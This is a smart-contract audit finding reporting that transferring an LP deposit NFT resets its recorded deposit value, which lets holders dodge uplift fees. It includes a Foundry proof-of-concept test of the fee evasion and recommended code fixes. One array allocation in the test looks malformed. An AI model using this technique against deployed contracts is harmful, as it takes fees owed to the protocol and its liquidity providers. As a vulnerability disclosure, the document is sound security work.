Summary
Because price is reset on deposit NFT transfer users can transfer between own addresses to avoid fees before liquidity withdrawal.
Vulnerability Details
Upon deposit NFT transfer router is called to update the deposit structure to the receiver
function afterUpdate(address _from, address _to, uint256 _tokenID) public
But it also updates the deposit value:
...
if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
...
Because any deposit owner can transfer without restriction anybody can reset their deposit value to the current price. If this is done just before liquidity withdrawal, no one will ever have to pay uplift fees only the minimal withdrawal fee which is significantly smaller.
Impact
Easy scaling fee evasion by using own secondary addresses to transfer forward and back if necessary.
Tools Used
Manual review + foundry test.
In the test:
function testNftTransferAllowsEvadingUpliftFees() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
uint256 input = 1e18;
vm.prank(alice);
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, input, false, bytes(""));
int256[] memory prices = new int256[]();
prices[0] = 0;
prices[1] = 20e18;
updateWeightRunner.setMockPrices(pool, prices);
LPNFT nft = LPNFT(upliftOnlyRouter.lpNFT());
vm.prank(alice);
nft.transferFrom(address(alice), address(bob), 1);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256 beforeDaibob = dai.balanceOf(bob);
uint256 beforeUsdcbob = usdc.balanceOf(bob);
vm.prank(bob);
upliftOnlyRouter.removeLiquidityProportional(input, minAmountsOut, false, pool);
uint256 afterDaibob = dai.balanceOf(bob);
uint256 afterUsdcbob = usdc.balanceOf(bob);
uint256 daiDiff = afterDaibob - beforeDaibob;
uint256 usdcDiff = afterUsdcbob - beforeUsdcbob;
assertEq(amountsIn[0] * 9995 / 10000, daiDiff, "Bob paid only min withdrawal fee (0.05%)");
assertEq(amountsIn[1] * 9995 / 10000, usdcDiff, "Bob paid only min withdrawal fee (0.05%)");
}
Recommendations
Few possible approaches:
1) If applicable charge fees upon each transfers. So that a transfer becomes equal to withdrawing and depositing at the new address.
2) Do not update price value on transfer so that it becomes the next owners responsibility to pay full fees upon withdrawal.
function afterUpdate(address _from, address _to, uint256 _tokenID) public {
...
if (_to != address(0)) {
// @audit do not update deposit value, so it falls on the receiver to pay full fees
- feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
// @audit can optionally be updated or not as did not find any logic depending on it
- feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
...